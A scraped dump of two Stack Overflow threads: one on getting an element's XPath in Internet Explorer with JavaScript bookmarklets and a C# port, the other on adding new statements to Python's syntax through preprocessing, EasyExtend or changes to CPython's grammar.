ns=node.nextSibling;while(ns!=null){if(ns.tagName==node.tagName){nodeExpr+='[1]';break;}ns=ns.nextSibling;}}return nodeExpr;}var currentNode=window.getSelection().anchorNode;if(currentNode==null){alert(\"No selection\");return;}var path=[];while(currentNode!=undefined){var pe=getNode(currentNode);if(pe!=null){path.push(pe);if(pe.indexOf('@id')!=-1)break;}currentNode=currentNode.parentNode;}var xpath=\"/\"+path.reverse().join('/');alert(xpath);}o__o();\n</code></pre>\n"
},
{
"answer_id": 217711,
"author": "PhiLho",
"author_id": 15459,
"author_profile": "https://Stackoverflow.com/users/15459",
"pm_score": 2,
"selected": false,
"text": "<p>Since bookmarklet use puzzled Paul, I though I should add a little introduction to their usage. I do it in a separate message to avoid mixing stuff.</p>\n\n<p>Bookmarklets (also called favlets) are little JavaScript scripts (sic) designed to be pasted in the address bar of the browser (like any other URL) and thus to run on the current page.<br>\nAfter running it (paste, hit Enter), you can bookmark it for reuse (add it to favorites in IE). Note that the browser might bookmark the original URL instead, you have then to edit the bookmark and replace the URL with your script.<br>\nOf course, you can add it to the URL bar for quick access too.</p>\n\n<p>These scripts act like being part of the current page, accessing global JS variables and functions, Dom objects, etc.<br>\nThey can be super simple, like the seminal <code>javascript: alert(\"Hello world!\");</code> or quite complex like the one above. If it returns a value (or if last expression has a value), the value replaces the current page. To avoid this, you can finish the script with <code>alert</code> (to display a result) or wrap the script in a function definition and call this function, like I did above. (Some also put void(0); at the end, but I saw it is seen as bad practice.)</p>\n\n<p>The function solution has the advantage of making all variables of the script local to the applet (if declared with <code>var</code>, of course), avoiding interferences/side-effects with scripts on the local page. That's also why the wrapping function should have a name unlikely to clash with a local script.</p>\n\n<p>Note that some browsers (read: \"IE\") can limit the size of favlets, the max. length varying with version (tending to decrease). That's why all useless whitespace is removed (the bookmarlet builder linked above is good for that) and I removed the explict comparisons with null and undefined I usually do. I had also to split the favlet in two, first part defining a function (living as long as the page isn't changed/refreshed), second part using it.</p>\n\n<p>Useful tool, particularly on browsers not allowing user scripts (à la Greasemonkey) or without this extension.</p>\n"
},
{
"answer_id": 5452009,
"author": "Pěna",
"author_id": 679290,
"author_profile": "https://Stackoverflow.com/users/679290",
"pm_score": 2,
"selected": false,
"text": "<p>I have rewritten the bookmarklet code into C#, so if you'll find it useful, use it ;-)</p>\n\n<pre><code>using System;\nusing System.Collections;\nusing System.Collections.Generic;\nusing System.Text;\n\nnamespace Anotation.Toolbar\n{\n class XPath\n {\n public static string getXPath(mshtml.IHTMLElement element)\n {\n if (element == null)\n return \"\";\n mshtml.IHTMLElement currentNode = element;\n ArrayList path = new ArrayList();\n\n while (currentNode != null)\n {\n string pe = getNode(currentNode);\n if (pe != null)\n {\n path.Add(pe);\n if (pe.IndexOf(\"@id\") != -1)\n break; // Found an ID, no need to go upper, absolute path is OK\n }\n currentNode = currentNode.parentElement;\n }\n path.Reverse();\n return join(path, \"/\");\n }\n\n private static string join(ArrayList items, string delimiter)\n {\n StringBuilder sb = new StringBuilder();\n foreach (object item in items)\n {\n if (item == null)\n continue;\n\n sb.Append(delimiter);\n sb.Append(item);\n }\n return sb.ToString();\n }\n\n private static string getNode(mshtml.IHTMLElement node)\n {\n string nodeExpr = node.tagName;\n if (nodeExpr == null) // Eg. node = #text\n return null;\n if (node.id != \"\" && node.id != null)\n {\n nodeExpr += \"[@id='\" + node.id + \"']\";\n // We don't really need to go back up to //HTML, since IDs are supposed\n // to be unique, so they are a good starting point.\n return \"/\" + nodeExpr;\n }\n\n // Find rank of node among its type in the parent\n int rank = 1;\n mshtml.IHTMLDOMNode nodeDom = node as mshtml.IHTMLDOMNode;\n mshtml.IHTMLDOMNode psDom = nodeDom.previousSibling;\n mshtml.IHTMLElement ps = psDom as mshtml.IHTMLElement;\n while (ps != null)\n {\n if (ps.tagName == node.tagName)\n {\n rank++;\n }\n psDom = psDom.previousSibling;\n ps = psDom as mshtml.IHTMLElement;\n }\n if (rank > 1)\n {\n nodeExpr += \"[\" + rank + \"]\";\n }\n else\n { // First node of its kind at this level. Are there any others?\n mshtml.IHTMLDOMNode nsDom = nodeDom.nextSibling;\n mshtml.IHTMLElement ns = nsDom as mshtml.IHTMLElement;\n while (ns != null)\n {\n if (ns.tagName == node.tagName)\n { // Yes, mark it as being the first one\n nodeExpr += \"[1]\";\n break;\n }\n nsDom = nsDom.nextSibling;\n ns = nsDom as mshtml.IHTMLElement;\n }\n }\n return nodeExpr;\n }\n }\n}\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214862",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/21755/"
] |
I have an Internet Explorer only web application.
I'm exploring what we can do to automate the testing.
Selenium looks like a good tool, but to be able to activate links etc. I need to tell it where they are. The application wasn't built with this kind of testing in mind, so there generally aren't `id` attributes on the key elements.
No problem, I think, I can use XPath expressions. But finding the correct XPath for, say, a button, is a royal pain if done by inspecting the source of the page.
With Firefox / Firebug, I can select the element then use "Copy XPath" to get the expression.
I have the IE Developer Toolbar and it's frustratingly close. I can click to select the element of interest and display all sorts of information about it. but I can't see any convenient way of determining the XPath for it.
So is there any way of doing this with IE?
|
I would use bookmarklets. I have one XPath related, but I don't know if it works in IE. I gotta go but I will test it and give it if it works on IE.
Two bookmarklet sites for Web developers from my bookmarks: [Subsimple's bookmarklets](http://subsimple.com/bookmarklets/collection.asp "My bookmarklets") and [Squarefree's Bookmarklets](https://www.squarefree.com/bookmarklets/ "Bookmarklets Home"). Lot of useful things there...
[EDIT] OK, I am back. The bookmarklet I had was for FF only, and wasn't optimal. I finally rewrote it, although using ideas from the original one. Can't find back where I found it.
Expanded JS:
```
function getNode(node)
{
var nodeExpr = node.tagName;
if (nodeExpr == null) // Eg. node = #text
return null;
if (node.id != '')
{
nodeExpr += "[@id='" + node.id + "']";
// We don't really need to go back up to //HTML, since IDs are supposed
// to be unique, so they are a good starting point.
return "/" + nodeExpr;
}
// We don't really need this
//~ if (node.className != '')
//~ {
//~ nodeExpr += "[@class='" + node.className + "']";
//~ }
// Find rank of node among its type in the parent
var rank = 1;
var ps = node.previousSibling;
while (ps != null)
{
if (ps.tagName == node.tagName)
{
rank++;
}
ps = ps.previousSibling;
}
if (rank > 1)
{
nodeExpr += '[' + rank + ']';
}
else
{
// First node of its kind at this level. Are there any others?
var ns = node.nextSibling;
while (ns != null)
{
if (ns.tagName == node.tagName)
{
// Yes, mark it as being the first one
nodeExpr += '[1]';
break;
}
ns = ns.nextSibling;
}
}
return nodeExpr;
}
var currentNode;
// Standard (?)
if (window.getSelection != undefined)
currentNode = window.getSelection().anchorNode;
// IE (if no selection, that's BODY)
else
currentNode = document.selection.createRange().parentElement();
if (currentNode == null)
{
alert("No selection");
return;
}
var path = [];
// Walk up the Dom
while (currentNode != undefined)
{
var pe = getNode(currentNode);
if (pe != null)
{
path.push(pe);
if (pe.indexOf('@id') != -1)
break; // Found an ID, no need to go upper, absolute path is OK
}
currentNode = currentNode.parentNode;
}
var xpath = "/" + path.reverse().join('/');
alert(xpath);
// Copy to clipboard
// IE
if (window.clipboardData) clipboardData.setData("Text", xpath);
// FF's code to handle clipboard is much more complex
// and might need to change prefs to allow changing the clipboard content.
// I omit it here as it isn't part of the original request.
```
You have to select the element and activate the bookmarklet to get its XPath.
Now, the bookmarklet versions (thanks to [Bookmarklet Builder](http://subsimple.com/bookmarklets/jsbuilder.htm "Bookmarklet Builder")):
IE
(I had to break it in two parts, because IE doesn't like very long bookmarklets (max size varies depending on IE versions!). You have to activate the first one (function def) then the second one. Tested with IE6.)
```
javascript:function getNode(node){var nodeExpr=node.tagName;if(!nodeExpr)return null;if(node.id!=''){nodeExpr+="[@id='"+node.id+"']";return "/"+nodeExpr;}var rank=1;var ps=node.previousSibling;while(ps){if(ps.tagName==node.tagName){rank++;}ps=ps.previousSibling;}if(rank>1){nodeExpr+='['+rank+']';}else{var ns=node.nextSibling;while(ns){if(ns.tagName==node.tagName){nodeExpr+='[1]';break;}ns=ns.nextSibling;}}return nodeExpr;}
javascript:function o__o(){var currentNode=document.selection.createRange().parentElement();var path=[];while(currentNode){var pe=getNode(currentNode);if(pe){path.push(pe);if(pe.indexOf('@id')!=-1)break;}currentNode=currentNode.parentNode;}var xpath="/"+path.reverse().join('/');clipboardData.setData("Text", xpath);}o__o();
```
FF
```
javascript:function o__o(){function getNode(node){var nodeExpr=node.tagName;if(nodeExpr==null)return null;if(node.id!=''){nodeExpr+="[@id='"+node.id+"']";return "/"+nodeExpr;}var rank=1;var ps=node.previousSibling;while(ps!=null){if(ps.tagName==node.tagName){rank++;}ps=ps.previousSibling;}if(rank>1){nodeExpr+='['+rank+']';}else{var ns=node.nextSibling;while(ns!=null){if(ns.tagName==node.tagName){nodeExpr+='[1]';break;}ns=ns.nextSibling;}}return nodeExpr;}var currentNode=window.getSelection().anchorNode;if(currentNode==null){alert("No selection");return;}var path=[];while(currentNode!=undefined){var pe=getNode(currentNode);if(pe!=null){path.push(pe);if(pe.indexOf('@id')!=-1)break;}currentNode=currentNode.parentNode;}var xpath="/"+path.reverse().join('/');alert(xpath);}o__o();
```
|
214,881 |
<p>Can you add new statements (like <code>print</code>, <code>raise</code>, <code>with</code>) to Python's syntax?</p>
<p>Say, to allow..</p>
<pre><code>mystatement "Something"
</code></pre>
<p>Or,</p>
<pre><code>new_if True:
print "example"
</code></pre>
<p>Not so much if you <em>should</em>, but rather if it's possible (short of modifying the python interpreters code)</p>
|
[
{
"answer_id": 214902,
"author": "Alex Coventry",
"author_id": 1941213,
"author_profile": "https://Stackoverflow.com/users/1941213",
"pm_score": 0,
"selected": false,
"text": "<p>Ten years ago you couldn't, and I doubt that's changed. However, it wasn't that hard to modify the syntax back then if you were prepared to recompile python, and I doubt that's changed, either.</p>\n"
},
{
"answer_id": 214910,
"author": "paxdiablo",
"author_id": 14860,
"author_profile": "https://Stackoverflow.com/users/14860",
"pm_score": 4,
"selected": false,
"text": "<p>Short of changing and recompiling the source code (which <em>is</em> possible with open source), changing the base language is not really possible.</p>\n\n<p>Even if you do recompile the source, it wouldn't be python, just your hacked-up changed version which you need to be very careful not to introduce bugs into.</p>\n\n<p>However, I'm not sure why you'd want to. Python's object-oriented features makes it quite simple to achieve similar results with the language as it stands.</p>\n"
},
{
"answer_id": 214912,
"author": "Bill the Lizard",
"author_id": 1288,
"author_profile": "https://Stackoverflow.com/users/1288",
"pm_score": 1,
"selected": false,
"text": "<p>Not without modifying the interpreter. I know a lot of languages in the past several years have been described as \"extensible\", but not in the way you're describing. You extend Python by adding functions and classes.</p>\n"
},
{
"answer_id": 215042,
"author": "dbr",
"author_id": 745,
"author_profile": "https://Stackoverflow.com/users/745",
"pm_score": 2,
"selected": false,
"text": "<p>I've found a guide on adding new statements:</p>\n\n<p><a href=\"https://troeger.eu/files/teaching/pythonvm08lab.pdf\" rel=\"nofollow noreferrer\">https://troeger.eu/files/teaching/pythonvm08lab.pdf</a></p>\n\n<p>Basically, to add new statements, you must edit <code>Python/ast.c</code> (among other things) and recompile the python binary.</p>\n\n<p>While it's possible, don't. You can achieve almost everything via functions and classes (which wont require people to recompile python just to run your script..)</p>\n"
},
{
"answer_id": 215697,
"author": "Brian",
"author_id": 9493,
"author_profile": "https://Stackoverflow.com/users/9493",
"pm_score": 6,
"selected": false,
"text": "<p>One way to do things like this is to preprocess the source and modify it, translating your added statement to python. There are various problems this approach will bring, and I wouldn't recommend it for general usage, but for experimentation with language, or specific-purpose metaprogramming, it can occassionally be useful.</p>\n\n<p>For instance, lets say we want to introduce a \"myprint\" statement, that instead of printing to the screen instead logs to a specific file. ie:</p>\n\n<pre><code>myprint \"This gets logged to file\"\n</code></pre>\n\n<p>would be equivalent to</p>\n\n<pre><code>print >>open('/tmp/logfile.txt','a'), \"This gets logged to file\"\n</code></pre>\n\n<p>There are various options as to how to do the replacing, from regex substitution to generating an AST, to writing your own parser depending on how close your syntax matches existing python. A good intermediate approach is to use the tokenizer module. This should allow you to add new keywords, control structures etc while interpreting the source similarly to the python interpreter, thus avoiding the breakage crude regex solutions would cause. For the above \"myprint\", you could write the following transformation code:</p>\n\n<pre><code>import tokenize\n\nLOGFILE = '/tmp/log.txt'\ndef translate(readline):\n for type, name,_,_,_ in tokenize.generate_tokens(readline):\n if type ==tokenize.NAME and name =='myprint':\n yield tokenize.NAME, 'print'\n yield tokenize.OP, '>>'\n yield tokenize.NAME, \"open\"\n yield tokenize.OP, \"(\"\n yield tokenize.STRING, repr(LOGFILE)\n yield tokenize.OP, \",\"\n yield tokenize.STRING, \"'a'\"\n yield tokenize.OP, \")\"\n yield tokenize.OP, \",\"\n else:\n yield type,name\n</code></pre>\n\n<p>(This does make myprint effectively a keyword, so use as a variable elsewhere will likely cause problems)</p>\n\n<p>The problem then is how to use it so that your code is usable from python. One way would just be to write your own import function, and use it to load code written in your custom language. ie:</p>\n\n<pre><code>import new\ndef myimport(filename):\n mod = new.module(filename)\n f=open(filename)\n data = tokenize.untokenize(translate(f.readline))\n exec data in mod.__dict__\n return mod\n</code></pre>\n\n<p>This requires you handle your customised code differently from normal python modules however. ie \"<code>some_mod = myimport(\"some_mod.py\")</code>\" rather than \"<code>import some_mod</code>\"</p>\n\n<p>Another fairly neat (albeit hacky) solution is to create a custom encoding (See <a href=\"http://www.python.org/dev/peps/pep-0263/\" rel=\"noreferrer\">PEP 263</a>) as <a href=\"http://code.activestate.com/recipes/546539/\" rel=\"noreferrer\">this</a> recipe demonstrates. You could implement this as:</p>\n\n<pre><code>import codecs, cStringIO, encodings\nfrom encodings import utf_8\n\nclass StreamReader(utf_8.StreamReader):\n def __init__(self, *args, **kwargs):\n codecs.StreamReader.__init__(self, *args, **kwargs)\n data = tokenize.untokenize(translate(self.stream.readline))\n self.stream = cStringIO.StringIO(data)\n\ndef search_function(s):\n if s!='mylang': return None\n utf8=encodings.search_function('utf8') # Assume utf8 encoding\n return codecs.CodecInfo(\n name='mylang',\n encode = utf8.encode,\n decode = utf8.decode,\n incrementalencoder=utf8.incrementalencoder,\n incrementaldecoder=utf8.incrementaldecoder,\n streamreader=StreamReader,\n streamwriter=utf8.streamwriter)\n\ncodecs.register(search_function)\n</code></pre>\n\n<p>Now after this code gets run (eg. you could place it in your .pythonrc or site.py) any code starting with the comment \"# coding: mylang\" will automatically be translated through the above preprocessing step. eg.</p>\n\n<pre><code># coding: mylang\nmyprint \"this gets logged to file\"\nfor i in range(10):\n myprint \"so does this : \", i, \"times\"\nmyprint (\"works fine\" \"with arbitrary\" + \" syntax\" \n \"and line continuations\")\n</code></pre>\n\n<p>Caveats:</p>\n\n<p>There are problems to the preprocessor approach, as you'll probably be familiar with if you've worked with the C preprocessor. The main one is debugging. All python sees is the preprocessed file which means that text printed in the stack trace etc will refer to that. If you've performed significant translation, this may be very different from your source text. The example above doesn't change line numbers etc, so won't be too different, but the more you change it, the harder it will be to figure out.</p>\n"
},
{
"answer_id": 216174,
"author": "Claudiu",
"author_id": 15055,
"author_profile": "https://Stackoverflow.com/users/15055",
"pm_score": 2,
"selected": false,
"text": "<p><strong>OUTDATED</strong>:<br />\nThe Logix project is now deprecated and no longer developed, per <a href=\"http://logix-language.sourceforge.net/\" rel=\"nofollow noreferrer\">the Logix website</a>.</p>\n<p>There is a language based on python called <a href=\"http://www.livelogix.net/logix/\" rel=\"nofollow noreferrer\">Logix</a> with which you CAN do such things. It hasn't been under development for a while, but the features that you asked for <b>do work</b> with the latest version.</p>\n"
},
{
"answer_id": 216795,
"author": "Constantin",
"author_id": 20310,
"author_profile": "https://Stackoverflow.com/users/20310",
"pm_score": 4,
"selected": false,
"text": "<p>Yes, to some extent it is possible. There is a <a href=\"http://entrian.com/goto/\" rel=\"noreferrer\">module</a> out there that uses <code>sys.settrace()</code> to implement <code>goto</code> and <code>comefrom</code> \"keywords\":</p>\n\n<pre><code>from goto import goto, label\nfor i in range(1, 10):\n for j in range(1, 20):\n print i, j\n if j == 3:\n goto .end # breaking out from nested loop\nlabel .end\nprint \"Finished\"\n</code></pre>\n"
},
{
"answer_id": 217373,
"author": "Matthew Trevor",
"author_id": 11265,
"author_profile": "https://Stackoverflow.com/users/11265",
"pm_score": 2,
"selected": false,
"text": "<p>It's possible to do this using <a href=\"http://www.fiber-space.de/EasyExtend/doc/EE.html\" rel=\"nofollow noreferrer\">EasyExtend</a>:</p>\n\n<blockquote>\n <p>EasyExtend (EE) is a preprocessor\n generator and metaprogramming\n framework written in pure Python and\n integrated with CPython. The main\n purpose of EasyExtend is the creation\n of extension languages i.e. adding\n custom syntax and semantics to Python.</p>\n</blockquote>\n"
},
{
"answer_id": 220857,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 4,
"selected": false,
"text": "<p>General answer: you need to preprocess your source files. </p>\n\n<p>More specific answer: install <a href=\"http://pypi.python.org/pypi/EasyExtend\" rel=\"noreferrer\">EasyExtend</a>, and go through following steps</p>\n\n<p>i) Create a new langlet ( extension language )</p>\n\n<pre><code>import EasyExtend\nEasyExtend.new_langlet(\"mystmts\", prompt = \"my> \", source_ext = \"mypy\")\n</code></pre>\n\n<p>Without additional specification a bunch of files shall be created under EasyExtend/langlets/mystmts/ .</p>\n\n<p>ii) Open mystmts/parsedef/Grammar.ext and add following lines</p>\n\n<pre><code>small_stmt: (expr_stmt | print_stmt | del_stmt | pass_stmt | flow_stmt |\n import_stmt | global_stmt | exec_stmt | assert_stmt | my_stmt )\n\nmy_stmt: 'mystatement' expr\n</code></pre>\n\n<p>This is sufficient to define the syntax of your new statement. The small_stmt non-terminal is part of the Python grammar and it's the place where the new statement is hooked in. The parser will now recognize the new statement i.e. a source file containing it will be parsed. The compiler will reject it though because it still has to be transformed into valid Python.</p>\n\n<p>iii) Now one has to add semantics of the statement. For this one has to edit\n msytmts/langlet.py and add a my_stmt node visitor.</p>\n\n<pre><code> def call_my_stmt(expression):\n \"defines behaviour for my_stmt\"\n print \"my stmt called with\", expression\n\n class LangletTransformer(Transformer):\n @transform\n def my_stmt(self, node):\n _expr = find_node(node, symbol.expr)\n return any_stmt(CST_CallFunc(\"call_my_stmt\", [_expr]))\n\n __publish__ = [\"call_my_stmt\"]\n</code></pre>\n\n<p>iv) cd to langlets/mystmts and type</p>\n\n<pre><code>python run_mystmts.py\n</code></pre>\n\n<p>Now a session shall be started and the newly defined statement can be used:</p>\n\n<pre><code>__________________________________________________________________________________\n\n mystmts\n\n On Python 2.5.1 (r251:54863, Apr 18 2007, 08:51:08) [MSC v.1310 32 bit (Intel)]\n __________________________________________________________________________________\n\n my> mystatement 40+2\n my stmt called with 42\n</code></pre>\n\n<p>Quite a few steps to come to a trivial statement, right? There isn't an API yet that lets one define simple things without having to care about grammars. But EE is very reliable modulo some bugs. So it's just a matter of time that an API emerges that lets programmers define convenient stuff like infix operators or small statements using just convenient OO programming. For more complex things like embedding whole languages in Python by means of building a langlet there is no way of going around a full grammar approach.</p>\n"
},
{
"answer_id": 4572994,
"author": "jcomeau_ictx",
"author_id": 493161,
"author_profile": "https://Stackoverflow.com/users/493161",
"pm_score": 4,
"selected": false,
"text": "<p>Here's a very simple but crappy way to add new statements, <em>in interpretive mode only</em>. I'm using it for little 1-letter commands for editing gene annotations using only sys.displayhook, but just so I could answer this question I added sys.excepthook for the syntax errors as well. The latter is really ugly, fetching the raw code from the readline buffer. The benefit is, it's trivially easy to add new statements this way.</p>\n\n<pre><code>\njcomeau@intrepid:~/$ cat demo.py; ./demo.py\n#!/usr/bin/python -i\n'load everything needed under \"package\", such as package.common.normalize()'\nimport os, sys, readline, traceback\nif __name__ == '__main__':\n class t:\n @staticmethod\n def localfunction(*args):\n print 'this is a test'\n if args:\n print 'ignoring %s' % repr(args)\n\n def displayhook(whatever):\n if hasattr(whatever, 'localfunction'):\n return whatever.localfunction()\n else:\n print whatever\n\n def excepthook(exctype, value, tb):\n if exctype is SyntaxError:\n index = readline.get_current_history_length()\n item = readline.get_history_item(index)\n command = item.split()\n print 'command:', command\n if len(command[0]) == 1:\n try:\n eval(command[0]).localfunction(*command[1:])\n except:\n traceback.print_exception(exctype, value, tb)\n else:\n traceback.print_exception(exctype, value, tb)\n\n sys.displayhook = displayhook\n sys.excepthook = excepthook\n>>> t\nthis is a test\n>>> t t\ncommand: ['t', 't']\nthis is a test\nignoring ('t',)\n>>> ^D\n\n</code></pre>\n"
},
{
"answer_id": 9108164,
"author": "Eli Bendersky",
"author_id": 8206,
"author_profile": "https://Stackoverflow.com/users/8206",
"pm_score": 9,
"selected": true,
"text": "<p>You may find this useful - <a href=\"http://eli.thegreenplace.net/2010/06/30/python-internals-adding-a-new-statement-to-python/\" rel=\"noreferrer\">Python internals: adding a new statement to Python</a>, quoted here:</p>\n\n<hr>\n\n<p>This article is an attempt to better understand how the front-end of Python works. Just reading documentation and source code may be a bit boring, so I'm taking a hands-on approach here: I'm going to add an <code>until</code> statement to Python.</p>\n\n<p>All the coding for this article was done against the cutting-edge Py3k branch in the <a href=\"http://code.python.org/hg/branches/py3k/\" rel=\"noreferrer\">Python Mercurial repository mirror</a>.</p>\n\n<h3>The <code>until</code> statement</h3>\n\n<p>Some languages, like Ruby, have an <code>until</code> statement, which is the complement to <code>while</code> (<code>until num == 0</code> is equivalent to <code>while num != 0</code>). In Ruby, I can write:</p>\n\n<pre><code>num = 3\nuntil num == 0 do\n puts num\n num -= 1\nend\n</code></pre>\n\n<p>And it will print:</p>\n\n<pre><code>3\n2\n1\n</code></pre>\n\n<p>So, I want to add a similar capability to Python. That is, being able to write:</p>\n\n<pre><code>num = 3\nuntil num == 0:\n print(num)\n num -= 1\n</code></pre>\n\n<h3>A language-advocacy digression</h3>\n\n<p>This article doesn't attempt to suggest the addition of an <code>until</code> statement to Python. Although I think such a statement would make some code clearer, and this article displays how easy it is to add, I completely respect Python's philosophy of minimalism. All I'm trying to do here, really, is gain some insight into the inner workings of Python.</p>\n\n<h3>Modifying the grammar</h3>\n\n<p>Python uses a custom parser generator named <code>pgen</code>. This is a LL(1) parser that converts Python source code into a parse tree. The input to the parser generator is the file <code>Grammar/Grammar</code><strong>[1]</strong>. This is a simple text file that specifies the grammar of Python.</p>\n\n<p><strong>[1]</strong>: From here on, references to files in the Python source are given relatively to the root of the source tree, which is the directory where you run configure and make to build Python.</p>\n\n<p>Two modifications have to be made to the grammar file. The first is to add a definition for the <code>until</code> statement. I found where the <code>while</code> statement was defined (<code>while_stmt</code>), and added <code>until_stmt</code> below <strong>[2]</strong>:</p>\n\n<pre><code>compound_stmt: if_stmt | while_stmt | until_stmt | for_stmt | try_stmt | with_stmt | funcdef | classdef | decorated\nif_stmt: 'if' test ':' suite ('elif' test ':' suite)* ['else' ':' suite]\nwhile_stmt: 'while' test ':' suite ['else' ':' suite]\nuntil_stmt: 'until' test ':' suite\n</code></pre>\n\n<p><strong>[2]</strong>: This demonstrates a common technique I use when modifying source code I’m not familiar with: <em>work by similarity</em>. This principle won’t solve all your problems, but it can definitely ease the process. Since everything that has to be done for <code>while</code> also has to be done for <code>until</code>, it serves as a pretty good guideline.</p>\n\n<p>Note that I've decided to exclude the <code>else</code> clause from my definition of <code>until</code>, just to make it a little bit different (and because frankly I dislike the <code>else</code> clause of loops and don't think it fits well with the Zen of Python).</p>\n\n<p>The second change is to modify the rule for <code>compound_stmt</code> to include <code>until_stmt</code>, as you can see in the snippet above. It's right after <code>while_stmt</code>, again.</p>\n\n<p>When you run <code>make</code> after modifying <code>Grammar/Grammar</code>, notice that the <code>pgen</code> program is run to re-generate <code>Include/graminit.h</code> and <code>Python/graminit.c</code>, and then several files get re-compiled.</p>\n\n<h3>Modifying the AST generation code</h3>\n\n<p>After the Python parser has created a parse tree, this tree is converted into an AST, since ASTs are <a href=\"http://eli.thegreenplace.net/2009/02/16/abstract-vs-concrete-syntax-trees/\" rel=\"noreferrer\">much simpler to work with</a> in subsequent stages of the compilation process.</p>\n\n<p>So, we're going to visit <code>Parser/Python.asdl</code> which defines the structure of Python's ASTs and add an AST node for our new <code>until</code> statement, again right below the <code>while</code>:</p>\n\n<pre><code>| While(expr test, stmt* body, stmt* orelse)\n| Until(expr test, stmt* body)\n</code></pre>\n\n<p>If you now run <code>make</code>, notice that before compiling a bunch of files, <code>Parser/asdl_c.py</code> is run to generate C code from the AST definition file. This (like <code>Grammar/Grammar</code>) is another example of the Python source-code using a mini-language (in other words, a DSL) to simplify programming. Also note that since <code>Parser/asdl_c.py</code> is a Python script, this is a kind of <a href=\"http://en.wikipedia.org/wiki/Bootstrapping_%28compilers%29\" rel=\"noreferrer\">bootstrapping</a> - to build Python from scratch, Python already has to be available.</p>\n\n<p>While <code>Parser/asdl_c.py</code> generated the code to manage our newly defined AST node (into the files <code>Include/Python-ast.h</code> and <code>Python/Python-ast.c</code>), we still have to write the code that converts a relevant parse-tree node into it by hand. This is done in the file <code>Python/ast.c</code>. There, a function named <code>ast_for_stmt</code> converts parse tree nodes for statements into AST nodes. Again, guided by our old friend <code>while</code>, we jump right into the big <code>switch</code> for handling compound statements and add a clause for <code>until_stmt</code>:</p>\n\n<pre><code>case while_stmt:\n return ast_for_while_stmt(c, ch);\ncase until_stmt:\n return ast_for_until_stmt(c, ch);\n</code></pre>\n\n<p>Now we should implement <code>ast_for_until_stmt</code>. Here it is:</p>\n\n<pre><code>static stmt_ty\nast_for_until_stmt(struct compiling *c, const node *n)\n{\n /* until_stmt: 'until' test ':' suite */\n REQ(n, until_stmt);\n\n if (NCH(n) == 4) {\n expr_ty expression;\n asdl_seq *suite_seq;\n\n expression = ast_for_expr(c, CHILD(n, 1));\n if (!expression)\n return NULL;\n suite_seq = ast_for_suite(c, CHILD(n, 3));\n if (!suite_seq)\n return NULL;\n return Until(expression, suite_seq, LINENO(n), n->n_col_offset, c->c_arena);\n }\n\n PyErr_Format(PyExc_SystemError,\n \"wrong number of tokens for 'until' statement: %d\",\n NCH(n));\n return NULL;\n}\n</code></pre>\n\n<p>Again, this was coded while closely looking at the equivalent <code>ast_for_while_stmt</code>, with the difference that for <code>until</code> I've decided not to support the <code>else</code> clause. As expected, the AST is created recursively, using other AST creating functions like <code>ast_for_expr</code> for the condition expression and <code>ast_for_suite</code> for the body of the <code>until</code> statement. Finally, a new node named <code>Until</code> is returned.</p>\n\n<p>Note that we access the parse-tree node <code>n</code> using some macros like <code>NCH</code> and <code>CHILD</code>. These are worth understanding - their code is in <code>Include/node.h</code>.</p>\n\n<h3>Digression: AST composition</h3>\n\n<p>I chose to create a new type of AST for the <code>until</code> statement, but actually this isn't necessary. I could've saved some work and implemented the new functionality using composition of existing AST nodes, since:</p>\n\n<pre><code>until condition:\n # do stuff\n</code></pre>\n\n<p>Is functionally equivalent to:</p>\n\n<pre><code>while not condition:\n # do stuff\n</code></pre>\n\n<p>Instead of creating the <code>Until</code> node in <code>ast_for_until_stmt</code>, I could have created a <code>Not</code> node with an <code>While</code> node as a child. Since the AST compiler already knows how to handle these nodes, the next steps of the process could be skipped.</p>\n\n<h3>Compiling ASTs into bytecode</h3>\n\n<p>The next step is compiling the AST into Python bytecode. The compilation has an intermediate result which is a CFG (Control Flow Graph), but since the same code handles it I will ignore this detail for now and leave it for another article.</p>\n\n<p>The code we will look at next is <code>Python/compile.c</code>. Following the lead of <code>while</code>, we find the function <code>compiler_visit_stmt</code>, which is responsible for compiling statements into bytecode. We add a clause for <code>Until</code>:</p>\n\n<pre><code>case While_kind:\n return compiler_while(c, s);\ncase Until_kind:\n return compiler_until(c, s);\n</code></pre>\n\n<p>If you wonder what <code>Until_kind</code> is, it's a constant (actually a value of the <code>_stmt_kind</code> enumeration) automatically generated from the AST definition file into <code>Include/Python-ast.h</code>. Anyway, we call <code>compiler_until</code> which, of course, still doesn't exist. I'll get to it an a moment.</p>\n\n<p>If you're curious like me, you'll notice that <code>compiler_visit_stmt</code> is peculiar. No amount of <code>grep</code>-ping the source tree reveals where it is called. When this is the case, only one option remains - C macro-fu. Indeed, a short investigation leads us to the <code>VISIT</code> macro defined in <code>Python/compile.c</code>:</p>\n\n<pre><code>#define VISIT(C, TYPE, V) {\\\n if (!compiler_visit_ ## TYPE((C), (V))) \\\n return 0; \\\n</code></pre>\n\n<p>It's used to invoke <code>compiler_visit_stmt</code> in <code>compiler_body</code>. Back to our business, however...</p>\n\n<p>As promised, here's <code>compiler_until</code>:</p>\n\n<pre><code>static int\ncompiler_until(struct compiler *c, stmt_ty s)\n{\n basicblock *loop, *end, *anchor = NULL;\n int constant = expr_constant(s->v.Until.test);\n\n if (constant == 1) {\n return 1;\n }\n loop = compiler_new_block(c);\n end = compiler_new_block(c);\n if (constant == -1) {\n anchor = compiler_new_block(c);\n if (anchor == NULL)\n return 0;\n }\n if (loop == NULL || end == NULL)\n return 0;\n\n ADDOP_JREL(c, SETUP_LOOP, end);\n compiler_use_next_block(c, loop);\n if (!compiler_push_fblock(c, LOOP, loop))\n return 0;\n if (constant == -1) {\n VISIT(c, expr, s->v.Until.test);\n ADDOP_JABS(c, POP_JUMP_IF_TRUE, anchor);\n }\n VISIT_SEQ(c, stmt, s->v.Until.body);\n ADDOP_JABS(c, JUMP_ABSOLUTE, loop);\n\n if (constant == -1) {\n compiler_use_next_block(c, anchor);\n ADDOP(c, POP_BLOCK);\n }\n compiler_pop_fblock(c, LOOP, loop);\n compiler_use_next_block(c, end);\n\n return 1;\n}\n</code></pre>\n\n<p>I have a confession to make: this code wasn't written based on a deep understanding of Python bytecode. Like the rest of the article, it was done in imitation of the kin <code>compiler_while</code> function. By reading it carefully, however, keeping in mind that the Python VM is stack-based, and glancing into the documentation of the <code>dis</code> module, which has <a href=\"http://docs.python.org/py3k/library/dis.html\" rel=\"noreferrer\">a list of Python bytecodes</a> with descriptions, it's possible to understand what's going 